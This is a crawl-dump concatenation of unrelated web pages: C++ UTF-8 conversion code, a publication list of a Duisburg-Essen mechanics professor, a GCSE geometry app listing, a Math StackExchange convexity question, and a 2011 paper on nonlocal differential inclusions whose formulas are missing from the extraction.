was_error, mode);` ` wide_string += chars;` ` string_len -= chars;` ` }` ``` ``` `return !was_error;` `}` ``` ``` ``` ``` ``` ``` ```/*! ``` ` this function converts a wide string into UTF-8 string` ``` ``` ` input:` ` wide_string - a null terminated wide string for converting` ` mode - what to do with errors when converting` ` 0: skip an invalid character` ` 1: put U+FFFD \"replacement character\" istead of the invalid character (default)` ``` ``` ` output:` ` utf8 - a UTF-8 string for the output sequence (the string is not cleared)` ``` ``` ` this function returns false if there were some errors when converting` `*/` `bool WideToUTF8(const wchar_t * wide_string, std::string & utf8, bool clear, int mode)` `{` `bool was_error = false;` ``` ``` ` if( clear )` ` utf8.clear();` ``` ``` ` while( *wide_string )` ` wide_string += WideOneToUTF8(wide_string, utf8, was_error, mode);` ``` ``` `return !was_error;` `}` ``` ``` ``` ``` ``` ``` ```/*! ``` ` this function converts a wide string (std::wstring) into UTF-8 string` ``` ``` ` input:` ` wide_string - a wide string for converting` ` mode - what to do with errors when converting` ` 0: skip an invalid character` ` 1: put U+FFFD \"replacement character\" istead of the invalid character (default)` ``` ``` ` output:` ` utf8 - a UTF-8 string for the output sequence (the string is not cleared)` ``` ``` ` this function returns false if there were some errors when converting` `*/` `bool WideToUTF8(const std::wstring & wide_string, std::string & utf8, bool clear, int mode)` `{` ` return WideToUTF8(wide_string.c_str(), wide_string.size(), utf8, clear, mode);` `}` ``` ``` ``` ``` ``` ``` ```/*! ``` ` this function converts a wide string into UTF-8 stream` ``` ``` ` input:` ` wide_string - a wide string for converting` ` string_len - size of the string` ` mode - what to do with errors when converting` ` 0: skip an invalid character` ` 1: put U+FFFD \"replacement character\" istead of the invalid character (default)` ``` ``` ` output:` ` utf8 - a UTF-8 stream for the output sequence` ``` ``` ` this function returns false if there were some errors when converting` `*/` `bool WideToUTF8(const wchar_t * wide_string, size_t string_len, std::ostream & utf8, int mode)` `{` `bool was_error = false;` `size_t chars;` ``` ``` ` while( string_len > 0 )` ` {` ` chars = WideOneToUTF8(wide_string, string_len, utf8, was_error, mode);` ` wide_string += chars;` ` string_len -= chars;` ` }` ``` ``` `return !was_error;` `}` ``` ``` ``` ``` ```/*! ``` ` this function converts a wide string into UTF-8 stream` ``` ``` ` input:` ` wide_string - a null terminated wide string for converting` ` mode - what to do with errors when converting` ` 0: skip an invalid character` ` 1: put U+FFFD \"replacement character\" istead of the invalid character (default)` ``` ``` ` output:` ` utf8 - a UTF-8 stream for the output sequence` ``` ``` ` this function returns false if there were some errors when converting` `*/` `bool WideToUTF8(const wchar_t * wide_string, std::ostream & utf8, int mode)` `{` `bool was_error = false;` ``` ``` ` while( *wide_string )` ` wide_string += WideOneToUTF8(wide_string, utf8, was_error, mode);` ``` ``` `return !was_error;` `}` ``` ``` ``` ``` ``` ``` ```/*! ``` ` this function converts a wide string (std::wstring) into UTF-8 stream` ``` ``` ` input:` ` wide_string - a wide string for converting` ` mode - what to do with errors when converting` ` 0: skip an invalid character` ` 1: put U+FFFD \"replacement character\" istead of the invalid character (default)` ``` ``` ` output:` ` utf8 - a UTF-8 stream for the output sequence` ``` ``` ` this function returns false if there were some errors when converting` `*/` `bool WideToUTF8(const std::wstring & wide_string, std::ostream & utf8, int mode)` `{` ` return WideToUTF8(wide_string.c_str(), wide_string.size(), utf8, mode);` `}` ``` ``` ``` ``` ``` ``` ``` ``` ```} // namespace Ezc ``` ``` ``` ``` ``` ``` ```"
]
| [
null
]
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https://www.uni-due.de/mathematik/ag_neff/birsan_publikationen | [
"# Liste der Publikationen\n\n## Artikel (Auswahl):\n\n• M. Birsan (2020): Derivation of a refined six-parameter shell model: descent from the three-dimensional Cosserat elasticity using a method of classical shell theory, Mathematics and Mechanics of Solids, 2020, Vol. 25(6) 1318–1339.\n\n• M. Birsan (2020): Closed-form Saint-Venant solutions in the Koiter theory of shells, Journal of Elasticity, 2020, 140 (1), 149-169.\n\n• M. Birsan, D.I. Ghiba, R. Martin, P. Neff (2019): Refined dimensional reduction for isotropic elastic Cosserat shells with initial curvature, Mathematics and Mechanics of Solids, vol. 24 (2019), 4000-4019.\n\n• M. Birsan, P. Neff (2017): Analysis of the deformation of Cosserat elastic shells using the dislocation density tensor. In: F. dell’Isola et al. (eds.), Mathematical Modelling in Solid Mechanics, Ser. Advanced Structured Materials 69, Springer Singapore, pp. 13-30, 2017.\n\n• O. Sander, P. Neff, M. Birsan (2016): Numerical treatment of a geometrically nonlinear planar Cosserat shell model, Computational Mechanics , vol.57 (2016), 817-841.\n\n• P. Neff, M. Birsan, F. Osterbrink (2015): Existence theorem for geometrically nonlinear Cosserat micropolar model under uniform convexity requirements, Journal of Elasticity , vol.121 (2015), 119-141.\n\n• T. Sadowski, M. Birsan, D. Pietras (2015): Multilayered and FGM structural elements under mechanical and thermal loads. Part I: Comparison of finite elements and analytical models, Archives of Civil and Mechanical Engineering, vol. 15 (2015), 1180-1192.\n\n• M. Birsan, P. Neff (2014): Existence of minimizers in the geometrically non-linear 6-parameter resultant shell theory with drilling rotations, Mathematics and Mechanics of Solids, vol. 19 (2014), 376-397. arXiv:1210.1251 , abstract , pdf .\n\n• M. Birsan, P. Neff (2014): Shells without drilling rotations: A representation theorem in the framework of the geometrically nonlinear 6-parameter resultant shell theory, International Journal of Engineering Science, vol. 80 (2014), 32-42.\n\n• M. Birsan, P. Neff (2014): On the characterization of drilling rotation in the 6-parameter resultant shell theory, In: W. Pietraszkiewicz, J. Górski (eds.), Shells Structures: Theory and Applications, vol. 3, Taylor & Francis, pp. 61-64, 2013. arXiv:1303.1979\n\n• M. Birsan, P. Neff (2013): Existence theorems in the geometrically non-linear 6-parameter theory of elastic plates, Journal of Elasticity, vol. 112, 185-198 , arXiv:1205.0894 , abstract , pdf .\n\n• M. Birsan, P. Neff, J. Lankeit (2013): Sum of squared logarithms - An inequality relating positive definite matrices and their matrix logarithm, Journal of Inequalities and Applications 2013 : 168, DOI: 10.1186/1029-242X-2013-168. arXiv:1301.6604\n\n• M. Birsan, T. Sadowski, L. Marsavina, E. Linul, D. Pietras (2013): Mechanical behavior of sandwich composite beams made of foams and functionally graded materials, International Journal of Solids and Structures, vol. 50, 519-530.\n\n• M. Birsan, H. Altenbach (2013): On the Cosserat model for thin rods made of thermoelastic materials with voids, Discrete and Continuous Dynamical Systems - Series S, Vol. 6, No. 6, 1473-1485.\n\n• M. Birsan, T. Sadowski, D. Pietras (2013): Thermoelastic deformations of cylindrical multi-layered shells using a direct approach, Journal of Thermal Stresses, vol. 36, 749-789.\n\n• M. Birsan, P. Neff (2012): On the equations of geometrically nonlinear elastic plates with rotational degrees of freedom, Ann. Acad. Rom. Sci. Ser. Math. Appl., vol. 4, 97-103. pdf\n\n• M. Birsan, H. Altenbach, T. Sadowski, V. Eremeyev, D. Pietras (2012): Deformation analysis of functionally graded beams by the direct approach, Composites Part B: Engineering, vol. 43, 1315-1328.\n\n• H. Altenbach, M. Birsan, V.A. Eremeyev (2012): On a thermodynamic theory of rods with two temperature fields, Acta Mechanica, vol. 223, 1583-1596.\n\n• M. Birsan, H. Altenbach (2012): The Korn-type inequality in a Cosserat model for thin thermoelastic porous rod, Meccanica, vol. 47, 789–794.\n\n• M. Birsan, H. Altenbach (2011): Theory of thin thermoelastic rods made of porous materials. Archive of Applied Mechanics, vol. 81, 1365-1391.\n\n• M. Birsan, H. Altenbach (2011): On the theory of porous elastic rods. International Journal of Solids and Structures, vol. 48, 910-924.\n\n• M. Birsan, H. Altenbach (2011): On the dynamical theory of thermoelastic simple shells. Zeitschrift für Angewandte Mathematik und Mechanik (ZAMM), vol. 91, 443-457.\n\n• M. Birsan (2011): On a problem of Truesdell for anisotropic elastic shells, Anal. Sci. Univ. Iasi, ser. Matematica, vol. 57, 91-110.\n\n• M. Birsan, H. Altenbach (2010): A mathematical study of the linear theory for orthotropic elastic simple shells. Mathematical Methods in the Applied Sciences, vol. 33, 1399-1413.\n\n• M. Birsan (2010): Thermal stresses in anisotropic cylindrical elastic shells. Mathematical Methods in the Applied Sciences, vol. 33, 799-810.\n\n• M. Birsan (2009): On the problems of Almansi and Michell for anisotropic Cosserat elastic shells. Archives of Mechanics, vol. 61, 195-227.\n\n• M. Birsan (2009): On Saint-Venant's problem for anisotropic, inhomogeneous, cylindrical Cosserat elastic shells. International Journal of Engineering Science, vol. 47, 21-38.\n\n• M. Birsan (2009): Thermal stresses in cylindrical Cosserat elastic shells. European Journal of Mechanics A/Solids, vol. 28, 94-101.\n\n• M. Birsan (2008): On the dynamic deformation of porous Cosserat linear-thermoelastic shells. Zeitschrift für Angewandte Mathematik und Mechanik (ZAMM), vol. 88, 74-78.\n\n• M. Birsan (2008): Inequalities of Korn's type and existence results in the theory of Cosserat elastic shells. Journal of Elasticity, vol. 90, 227-239.\n\n• M. Birsan (2007): On the theory of loaded general cylindrical Cosserat elastic shells. International Journal of Solids and Structures, vol. 44, 7399-7419.\n\n• M. Birsan (2007): On Saint-Venant's principle in the theory of Cosserat elastic shells. International Journal of Engineering Science, vol. 45, 187-198.\n\n• M. Birsan (2007): On the bending equations for elastic plates with voids. Mathematics and Mechanics of Solids, vol. 12 , 40-57.\n\n• M. Birsan (2006): On a thermodynamic theory of porous Cosserat elastic shells. Journal of Thermal Stresses, vol. 29, 879-899.\n\n• M. Birsan (2006): On the theory of elastic shells made from a material with voids. International Journal of Solids and Structures, vol. 43, 3106-3123.\n\n• M. Birsan (2006): Several results in the dynamic theory of thermoelastic Cosserat shells with voids. Mechanics Research Communications, vol. 33, 157-176.\n\n• M. Birsan (2005): Minimum energy characterizations for the solution of Saint-Venant’s problem in the theory of shells. Journal of Elasticity, vol. 81, 179-204.\n\n• M. Birsan (2005): Saint-Venant’s problem for Cosserat shells with voids. International Journal of Solids and Structures, vol. 42, 2033-2057.\n\n• M. Birsan (2004): The solution of Saint-Venant’s problem in the theory of Cosserat shells. Journal of Elasticity, vol. 74, 185-214.\n\n• M. Birsan (2003): A bending theory of porous thermoelastic plates. Journal of Thermal Stresses, vol. 26, 67-90.\n\n• M. Birsan (2000): On a theory of porous thermoelastic shells, Anal. Sci. Univ. Iasi, ser. Matematica, vol. 46, 111-130.\n\n## Kapitel in Büchern oder Artikel in Tagungsbänden (Auswahl):\n\n• M. Birsan, P. Neff (2016): On the dislocation density tensor in the Cosserat theory of elastic shells. In: K. Naumenko, M. Aßmus (eds.), Advanced Methods of Continuum Mechanics for Materials and Structures, Ser. Advanced Structured Materials 60, Springer Singapore, pp. 391-414, 2016.\n\n• H. Altenbach, M. Birsan, V.A. Eremeyev (2013): Cosserat-type rods. In: H. Altenbach, V.A. Eremeyev (eds.), Generalized Continua from the Theory to Engineering Applications, Springer Wien, CISM (Udine), pp. 179-248, 2013.\n\n• M. Birsan, H. Altenbach (2011): Analysis of the deformation of multi-layered orthotropic cylindrical elastic shells using the direct approach. In: H. Altenbach, V.A. Eremeyev (eds.), Shell-like Structures: Non-classical Theories and Applications, Ser. Advanced Structured Materials 15, Springer-Verlag Berlin Heidelberg, pp. 29-52, 2011.\n\n• M. Birsan, H. Altenbach (2010): Continuous dependence and instability in the linear theory of elastic shells. In: W. Pietraszkiewicz, I. Kreja (eds.), Shells Structures: Theory and Applications, vol. 2, Taylor & Francis, London, pp. 55-58, 2010.\n\n• M. Birsan (2008): On a problem of thermal stresses in the theory of Cosserat elastic shells with voids. In: G. Jaiani, P. Podio-Guidugli (eds.), Proceedings of IUTAM Symposium on Relations of Shells, Plate, Beam, and 3D Models, Springer Science + Business Media, pp. 67-76, 2008.\n\n• M. Birsan (2007): On the use of Korn's type inequalities in the existence theory for Cosserat elastic surfaces with voids. In: O. Carja, I.I. Vrabie (eds.), Applied Analysis and Differential Equations, World Scientific, Singapore, pp. 11-20, 2007.\n\n## Bücher:\n\n• M. Birsan (2009): Linear Cosserat Elastic Shells: Mathematical Theory and Applications. Matrix Rom, Bukarest, 230 pp.\n\n• M. Birsan (2007): Deformation of elastic porous plates: A mathematical study (in Romanian), Matrix Rom, Bukarest, 131 pp.\n\n## Prof. Dr. Mircea Birsan\n\[email protected]\n\nRaum WSC-W-4.15 (in Essen)\n\nRaum BC 509 (in Duisburg)",
null,
"## Kontakt\n\nUniversität Duisburg-Essen\nFakultät für Mathematik\nMathematik-Carrée\nThea-Leymann-Straße 9\n45127 Essen\n\n## Sprechstunde\n\nin Duisburg (BC 509):\ndienstags 10:15 - 11:15 Uhr in der Vorlesungszeit"
]
| [
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"https://www.uni-due.de/imperia/md/images/mathematik/ag_neff/fittosize__250_333_b48ab2ccf6ecc05cb55942cfd9f37f7d_birsan2.jpg",
null
]
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https://www.appszoom.com/android_applications/education/gcse-maths-geometry-revision-l_ghfmz.html | [
"GCSE Maths Geometry Revision L\n\nAll Android applications categories\n\nAll Android games categories",
null,
"# GCSE Maths Geometry Revision L\n\n227 7.6\n\n7.6 Users\nrating\n\n## Screenshots\n\nDescription\n\nTake a breath and make your GCSE preparation a fun activity with our collection of GCSE apps. Here comes the most comprehensive Geometry app.\n\n**NOTE: This is a lite version where in only few topics are available. All the remaining locked topics will be unlocked on buying the full version from within this lite version. It will be a one time purchase to unlock ALL the locked items in one go.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nFull version has 830 questions across 83 subtopics.\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n• HIGHEST QUALITY and QUANTITY\n830 questions and 83 revision notes in all just for Geometry!. High quality content written by an experienced mathematician.\n\n• REVISE BY TOPIC\nShapes, angles, trigonometry, measurements and scaling, transformational geometry and vectors, constructions and loci, circle theorems.\n\n• MOCK TEST\nMixed questions from all topics.\n\n• REVIEW with EXPLANATION\nReview each question at the end of the test. Know the right answer with detailed explanation for each question.\n\n• PROGRESS METER\nWith our unique progress tracking feature including pie charts and bar graphs showing your progress, you know you are ready to take on the real test at the board when your progress meter says 100%.\n\nMore details on topics:\n\n1. Shapes - 2D and 3D:\n\nPerimeter\nIdentifying 2D shapes\nPolygons\nArea of a rectangle\nArea of a triangle\nArea of a parallelogram\nArea of a trapezium\nArea of a compound shape\nCuboids\nPrisms\nPyramids\nparts of a circle\nArea of a circle\nCircumference of a circle\nArea and sectors\nCylinders\nCones\nSpheres\nCompound solids\n\n2. Angles\n\nAngles basics\nAngles in a triangle\nOpposite angles\nAngles around a point\nInterior angles\nAlternate angles\nCorresponding angles\nAngles and regular polygons\n\n3. Trigonometry\n\nPythagoras' theorem\nPythagoras' theorem in real life\nPythagoras' theorem in 3D\nTrigonometry basics\nSine\nCosine\nTangent\nSin, cos or tan?\nThe sine rule\nThe cosine rule\nUsing sine to fine the area of a triangle\n2-D trigonometric problems\n3-D trigonometric problems\nReal-life problems\n\n4. Measurements and scaling\n\nScales\nMetric system\nImperial system\nConverting measurements\nEstimating measurements\nMeasuring time\nPlans and elevations\nUnits of length, area and volume\nBearings\nMaps and scale drawings\nNets\n\n5. Transformational Geometry and Vectors\n\nCongruent shapes\nLines of symmetry\nSimilarity\nRotational symmetry and tessellations\nPlanes of symmetry\nTranslations\nreflections\nRotations\nEnlargements\nEnlargements 2D and 3D\nMultiple transformations\nSimilar triangle Basics\nCongruent triangles\nVectors\nVector geometry\nReal life vector problems\n\n6. Constructions and Loci\n\nConstructing triangles\nConstructing angles and perpendiculars\nLoci\nReal life problems\n\n7. Circle Theorems\n\nAngle in a semi-circle\nAngle at centre is twice angle at circumference\nAngles in same segment are equal\nTangents and chords\nAlternate segment theorem\nCircle geometry\n\nTags: year 7 geometry revision\n\nfrom 227 reviews\n\n\"Great\"\n\n7.6"
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"https://lh3.ggpht.com/0mncH-kVQXax7qDTFMRVNrukBP2hLP7S7vbHpBYmgeY7KoBtIOnfip993b47_s9J0SuT=w140",
null
]
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https://math.stackexchange.com/questions/2263879/showing-that-a-composite-function-gfx-is-convex-on-omega | [
"# Showing that a composite function $g(f(x))$ is convex on $\\Omega$\n\nGiven that $g(x)$ is a convex and monotonically nondecreasing function of a single variable, like, $g(x_{1}) \\leq g(x_{2})$. And given that $f$ is a convex function on the convex set in $R^{n}$, how would I show that the composite function $g(f(x))$ is convex on $\\Omega$?\n\nI found online that $g(f(x))$ is convex if:\n\n$(g(f(x)))''' = g''f(x))f'(x)^2 + g'(f(x))f''(x)$\n\nBut I am not sure how to show or prove this, as my original question states.\n\nHint: Use the following definition for a convex function: $$h(x) \\text{ convex } \\Leftrightarrow\\ h(tx_1+(1-t)x_2) \\le th(tx_1) + (1-t) h(x_2).$$"
]
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https://advancesindifferenceequations.springeropen.com/articles/10.1186/1687-1847-2011-17 | [
"Theory and Modern Applications\n\nNonlocal conditions for differential inclusions in the space of functions of bounded variations\n\nAbstract\n\nWe discuss the existence of solutions of an abstract differential inclusion, with a right-hand side of bounded variation and subject to a nonlocal initial condition of integral type.\n\nAMS Subject Classification\n\n34A60, 34G20, 26A45, 54C65, 28B20\n\n1 Introduction\n\nSolutions of differential equations with smooth enough coefficients cannot have jump discontinuities, see for instance [1, 2]. The situation is quite different for systems described by differential equations with discontinuous right-hand sides . Examples of such systems are mechanical systems subjected to dry or Coulomb frictions , optimal control problems where the control parameters are discontinuous functions of the state , impulsive differential equations , measure differential equations, pulse frequency modulation systems or models for biological neural nets . For these systems the state variables undergo sudden changes at their points of discontinuity. The mathematical models of many of these systems are described by multivalued differential equations or differential inclusions .\n\nLet X be a Banach space with norm |·| X . Then X is a metric space with the distance d X defined by",
null,
"Let I = [0, T] be a compact real interval. We are interested in the study of the following multivalued nonlocal initial value problem",
null,
"(1)\n\nwhere F : I × XX is a multivalued map and g : XX is continuous.\n\nThe investigation of systems subjected to nonlocal conditions started with for partial differential equations and for Sturm-Liouville problems. For more recent work we refer the interested reader to and the references therein.\n\nIt is clear that solutions of (1) are solutions of the integral inclusion",
null,
"(2)\n\n2 Preliminaries\n\nDefinition 1 We say that f : I X is of bounded variation, and we write f BV (I, X), if",
null,
"where Π: τ 0 = 0 < τ 1 < < τ m = T is any partition of I. The quantity",
null,
"is called the total variation of f.\n\nWe shall denote by BV(I, X) the space of all functions of bounded variations on I and with values in X. It is a Banach space with the norm |·| b given by",
null,
"In order to discuss the integral inclusion (2) we present some facts from set-valued analysis. Complete details can be found in the books [8, 12, 13]. Let (X, |·| X ) and (Y, |·| Y ) be Banach spaces. We shall denote the set of all nonempty subsets of X having property by (X). For instance, A c ℓ (X) means A closed in X, when = b we have the bounded subsets of X, = cv for convex subsets, = cp for compact subsets and = cp, cv for compact and convex subsets. The domain of a multivalued map : XY is the set dom = {z X; (z) }. is convex (closed) valued if (z) is convex (closed) for each z X: has compact values if (z) cv(Y) for every z X; is bounded on bounded sets if (A) = zA (z) is bounded in Y for all A b (X) (i.e. sup zA {sup{|y| Y ; y (z)}} < ): is called upper semicontinuous (u.s.c.) on X if for each z X the set (z) cl (Y) is nonempty, and for each open subset Λ of Y containing (z), there exists an open neighborhood Π of z such that (Π) Λ. In terms of sequences, is u.s.c. if for each sequence (z n ) X, z n z 0, and B a closed subset of Y such that (z n ) ∩ B , then (z 0) ∩ B . The set-valued map is called completely continuous if (A) is relatively compact in Y for every A (X). If is completely continuous with nonempty compact values, then is u.s.c. if and only if has a closed graph (i.e. z n z, w n w, w n (z n ) w (z)). When X Y then has a fixed point if there exists z X such z (z). A multivalued map : J cl (X) is called measurable if for every x X, the function θ : J defined by θ(t) = dist(x, (t)) = inf{|x - z| X ; z (t)} is measurable. |(z)| Y denotes sup{|y| Y ; y (z)}.\n\nIf A and B are two subsets of X, equipped with the metric d X , such that d X (x, y) = |x - y| X , the Hausdorff distance between A and B is defined by",
null,
"Where",
null,
"It is well known that ( b,cl (X), d H ) is a metric space and so is ( cp (X), d H ).\n\nDefinition 2 (See [14, 15]) Θ: IX is of bounded variation (with respect to d H ) on I if",
null,
"where the supremum is taken over all partitions Π = {t i ; i = 1, 2, ..., m} of the interval I.\n\nDefinition 3 Let X I denote the set of all functions from I into X. The Nemitskii (or superposition) operator corresponding to F : I × XX is the operator",
null,
"defined by",
null,
"Definition 4 The multifunction F : I XX is of bounded variation if for any function × BV(I, X) the multivalued map N F (x): IX is of bounded variation on I (in the sense of Definition 2) and",
null,
"Definition 5 Let Δ be a subset of I × X. We say that Δ is",
null,
"measurable if Δ belongs to the σ- algebra generated by all sets of the form J × D where J is Lebesgue measurable in I and D is Borel measurable in X.\n\nTheorem 6 (Generalized Helly selection principle) [, Theorem 5.1 p. 812] Let K be a compact subset of the Banach space × and let",
null,
"be a family of maps of uniformly bounded variation from I into K. Then there exists a sequence of maps",
null,
"convergent pointwise on I to a map f : IK of bounded variation such that",
null,
".\n\nIn the next theorem we shall denote by",
null,
"and ∂U the closure and the boundary of a set U.\n\nTheorem 7 ([, Theorem 3.4, p. 34]) Let U be an open subset of a Banach space Z with 0 U. Let",
null,
"be a single-valued operator and",
null,
"be a multivalued operator such that\n\n1. (i)",
null,
"is bounded,\n\n2. (ii)\n\nA is a contraction with constant k (0, 1/2),\n\n3. (iii)\n\nB is u.s.c and compact.\n\nThen either\n\n1. (a)\n\nthe operator inclusion λ x Ax + Bx has a solution for λ = 1, or\n\n2. (b)\n\nthere is an element u U such that λ u Au + Bu for some λ > 1.\n\n3 Main results\n\nIn this section we state and prove our main result. We should point out that no semicontinuity property is assumed on the multifunction F, which is usually the case in the literature. We refer the interested reader to the nice collection of papers in and the references therein.\n\nTheorem 8 Assume that the following conditions hold.\n\n(H1) g : XX is continuous, g(0) = 0 and there exists θ : [0, + ) → [0, + ) continuous and θ(r) ≤ βr, with β < 1/2 and βT 1, such that",
null,
"(H2) F : I × X cp,cv(X) is of bounded variation such that\n\n1. (i)\n\n(t, x) F(t, x) is",
null,
"measurable,\n\n2. (ii)\n\nthere exists an integrable function q : I → [0, + ) with",
null,
"3. (iii)\n\nx k x as k pointwise implies d H (F(t, x k ), F(t, x)) → 0, k.\n\nThen problem (1) has at least one solution in BV(I, X).\n\nProof. Let",
null,
". We show that there exists M > 0 such that all possible solutions of (2) in BV(I, X), satisfy",
null,
"Recall that solutions of (1) satisfy",
null,
"(3)\n\nSince the multivalued map N F (x): IX is of bounded variation it admits a selector f : IX of bounded variation such that",
null,
"see [, Theorem A, p. 250].\n\nIt follows from (3) that",
null,
"(4)\n\nThis implies",
null,
"The condition on g and (H2) (ii) imply",
null,
"Hence",
null,
"This last inequality yields",
null,
"Since",
null,
"we obtain",
null,
"so that",
null,
"(5)\n\nInequality (5) and the condition on g imply that",
null,
"Hence any possible solution x of (2) in BV(I, X), satisfies",
null,
"Let Π = {t i ; i = 1, 2, ..., m} be any partition of the interval I, and let x BV(I, X) be any possible solution of (2). It follows from (4) that",
null,
"It is easily shown that",
null,
"Therefore",
null,
"Letting",
null,
", we see that",
null,
"Let",
null,
"Define two operators",
null,
"by",
null,
"and",
null,
"First, we show that",
null,
"is bounded, i.e.",
null,
".\n\nLet",
null,
". Then there exists",
null,
"such that",
null,
"It follows from (3) that",
null,
"(H1) implies that the single-valued operator A is a contraction with constant k (0, 1/2).\n\nClaim 1. The multivalued operator B has compact and convex values. For, since F : I × X cp,cv(X) it follows that NF : X I cp,cv(X), i.e. has compact and convex values. This implies that the Aumann integral",
null,
"has compact and convex values. See for instance .\n\nClaim 2. B is completely continuous, i.e. B (Ω) is a relatively compact subset of BV(I, X). Let q Ω be arbitrary. Then for every f N F (q) the function u : IX defined by",
null,
"satisfies",
null,
"If we write",
null,
"then the operator ϒ: XX is continuous and",
null,
"Let (Bx k ) k≥1be a sequence in B (Ω). Then the sequence (x k ) k≥1is uniformly bounded and is of bounded variation. Theorem 4 shows that there exists a subsequence, which we label the same, and which converges pointwise to y Ω. We have",
null,
"Assumption (H2) (iii) implies that",
null,
"This proves the claim.\n\nClaim 3. B is u.s.c. Since B is completely continuous it is enough to show that its graph is closed. Let {(x n , y n )} n≥1be a sequence in graph(B) and let (x, y) = lim n (x n , y n ). Then y n B(x n ), i.e",
null,
", t I. This implies that",
null,
"Since x n x in X it follows from (H2)(ii) that",
null,
"which shows that",
null,
"Hence (x, y) graph(B), and B has a closed graph.\n\nFinally, alternative (b) in Theorem 5 cannot hold due to (3) and the choice of Ω.\n\nBy Theorem 5 the inclusion",
null,
"has at least one solution in BV(I, X). This completes the proof of the theorem.\n\nFor our second result we consider the case when",
null,
", where ψ : I is continuous. Let",
null,
"From the definition of the function λ we infer that, if ψ* = max tI |ψ(t)|,",
null,
"Theorem 9 Assume that the following conditions hold\n\n(H3) ψ : I is continuous and ψ 0 1,\n\n(H4) F : I × X cp,cv(X) is of bounded variation such that\n\n1. (i)\n\n(t, x) F(t, x) is",
null,
"measurable,\n\n2. (ii)\n\nthere exists ω : I × [0, ) → (0, ) continuous, nondecreasing with respect to its second argument and",
null,
"(6)\n\nsuch that |F(t, x) | X ≤ ω → (t, |x| b ).\n\n3. (iii)\n\nx k x pointwise as k implies d H (F (t, x k ), F (t, x)) → 0 as k.\n\nThen problem (1) has at least one solution in BV(I, X).\n\nProof. Since the multivalued map N F (x): IX is of bounded variation it admits a selector h : IX of bounded variation such that",
null,
"see [, Theorem A, p. 250].\n\nSolutions of (2) satisfy",
null,
"(7)\n\nSubstituting the initial condition in (7) we obtain",
null,
"Since ψ 0 1 it follows that",
null,
"Thus, solutions of (2) are solutions of",
null,
"(8)\n\nand vice versa. It follows from (8)",
null,
"The upper bound on |λ (s)| implies",
null,
"(9)\n\nwhich gives",
null,
"Let Π = {t i ; i = 1, 2, ..., m} be any partition of the interval I, and let x BV(I, X) be any possible solution of (2). Then, it follows from (7) that",
null,
"",
null,
"Since",
null,
", we have",
null,
"Finally, we see that",
null,
"(10)\n\nLet",
null,
"Then (10) yields",
null,
"(11)\n\nThe condition on the function ω implies that there exists ρ* > 0 such that for all ρ > ρ*",
null,
"(12)\n\nComparing inequalities (11) and (12) we see that",
null,
"Let",
null,
"Then Σ is nonempty, closed, bounded and convex.\n\nDefine a multivalued operator",
null,
"by",
null,
"(13)\n\nThen solutions of (2) are fixed point of the multivalued operator",
null,
".\n\nIt is clear that",
null,
". Proceeding as in the above claims we can show that",
null,
"is u.s.c. and",
null,
"is compact. By the Theorem of Bohnenblust and Karlin (see Corollary 11.3 in )",
null,
"has a fixed point in Σ, which is a solution of the inclusion (2), and therefore a solution of (1).\n\nReferences\n\n1. 1.\n\nAgarwal RP, O'Regan D: An Introduction to Ordinary Differential Equations. Universitext. Springer, New York; 2008.\n\n2. 2.\n\nCoddington EA, Levinson N: Theory of Ordinary Differential Equations. McGraw-Hill Book Company, Inc., New York; 1955.\n\n3. 3.\n\nFilippov AF: Differential Equations with Discontinuous Righthand Sides. Kluwer Academic Publishers; 1988.\n\n4. 4.\n\nDeimling K: Multivalued differential equations and dry friction problems. In Delay and Differential Equations (Ames, IA, 1991). Edited by: Fink AM. World Scientific, River Edge, NJ; 1992:99-106.\n\n5. 5.\n\nHermes H, LaSalle JP: Functional Analysis and Time Optimal Control. In Mathematics in Science and Engineering. Volume 56. Academic Press, New York; 1969:viii+136.\n\n6. 6.\n\nLakshmikantham V, Bainov DD, Simeonov PS: Theory of Impulsive Differential Equations. World Scientific, Singapore; 1989.\n\n7. 7.\n\nPandit SG: Systems described by differential equations containing impulses: existence and uniqueness. Rev Roum Math Pures Appl Tome 1981, XXVI: 879-887.\n\n8. 8.\n\nDeimling K: Multivalued Differential Equations. Edited by: W. De Gruyter. Berlin; 1992.\n\n9. 9.\n\nCannon JR: The solution of the heat equation subject to the specification of energy. Quart Appl Math 1963, 21: 155-160.\n\n10. 10.\n\nBitsadze AV, Samarski AA: Some generalizations of linear elliptic boundary value problems. Soviet Math Dokl 1969, 10: 398-400.\n\n11. 11.\n\nBoucherif A: Second order boundary value problems with integral boundary conditions. Nonlinear Anal 2009, 70: 364-371. 10.1016/j.na.2007.12.007\n\n12. 12.\n\nAubin JP, Cellina A: Differential Inclusions. Springer Verlag, Berlin; 1984.\n\n13. 13.\n\nHu S, Papageorgiou NS: Handbook of Multivalued Analysis, vol. I: Theory. Kluwer, Dordrecht; 2000.\n\n14. 14.\n\nBelov SA, Chistyakov VV: A selection principle for mappings of bounded variation. J Math Anal Appl 2000, 249: 351-366. 10.1006/jmaa.2000.6844\n\n15. 15.\n\nChistyakov VV: On the theory of set-valued maps of bounded variation of one variable. Sbornil: Mathematics 1998,189(5):797-819. 10.1070/SM1998v189n05ABEH000321\n\n16. 16.\n\nDhage DC: Multivalued mappings and fixed points II. Tamkang J Math 2006, 37: 27-46.\n\n17. 17.\n\nAgarwal RP, O'Regan D: Set-Valued Mappings with Applications in Nonlinear Analysis. In Series in Mathematical Analysis and Applications. Volume 4. Taylor & Francis, London; 2002.\n\n18. 18.\n\nChistyakov VV, Nowak A: Regular Caratheodory-type selectors under no convexity assumptions. J Funct Anal 2005, 225: 247-262. 10.1016/j.jfa.2005.03.024\n\nAcknowledgements\n\nThe authors are grateful to King Fahd University of Petroleum and Minerals for its constant support. The authors would like to thank an anonymous referee for his/her comments.\n\nAuthor information\n\nAuthors\n\nCompeting interests\n\nThe authors declare that they have no competing interests.\n\nAuthors' contributions\n\nBoth authors have read and approved the final manuscript.\n\nRights and permissions\n\nReprints and Permissions\n\nAgarwal, R., Boucherif, A. Nonlocal conditions for differential inclusions in the space of functions of bounded variations. Adv Differ Equ 2011, 17 (2011). https://doi.org/10.1186/1687-1847-2011-17\n\n• Accepted:\n\n• Published:\n\n• DOI: https://doi.org/10.1186/1687-1847-2011-17\n\nKeywords\n\n• Set-valued maps of bounded variation\n• Differential inclusion\n• Nonlocal initial condition\n• Generalized Helly selection principle\n• Fixed point of multivalued operators",
null,
""
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null
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https://help.febio.org/FEBioTheory/FEBio_tm_3-4-Subsection-2.4.2.html | [
